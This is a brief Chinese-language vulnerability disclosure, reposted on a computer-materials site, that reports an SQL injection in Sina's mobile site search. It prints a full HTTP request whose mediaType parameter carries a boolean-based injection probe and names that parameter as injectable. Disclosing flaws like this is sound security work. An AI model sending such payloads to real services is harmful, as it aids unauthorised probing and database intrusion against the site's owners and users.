新浪某核心业务存在sql注入 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

    漏洞网站:http://wap.sina.com.cn/

    http头部信息

   

GET /cms/search.php?fid=10&from=154000&key=%D7%D4%D3%C9%B7%C9%CF%E8&mcid=&mediaType=2%20AND%203*2*1%3d6%20AND%2012%3d12&page=2&pid=3075_14444&pl=view&pt=index&pz=down&search=page&sid=900446&tid=&type=1&UA=Opera&U_RID=2050208740 HTTP/1.1X-Requested-With: XMLHttpRequestReferer: http://wap.sina.com.cn/Host: wap.sina.com.cnConnection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36Accept: */*

    mediaType 存在注入

   

   

   

   

最新文章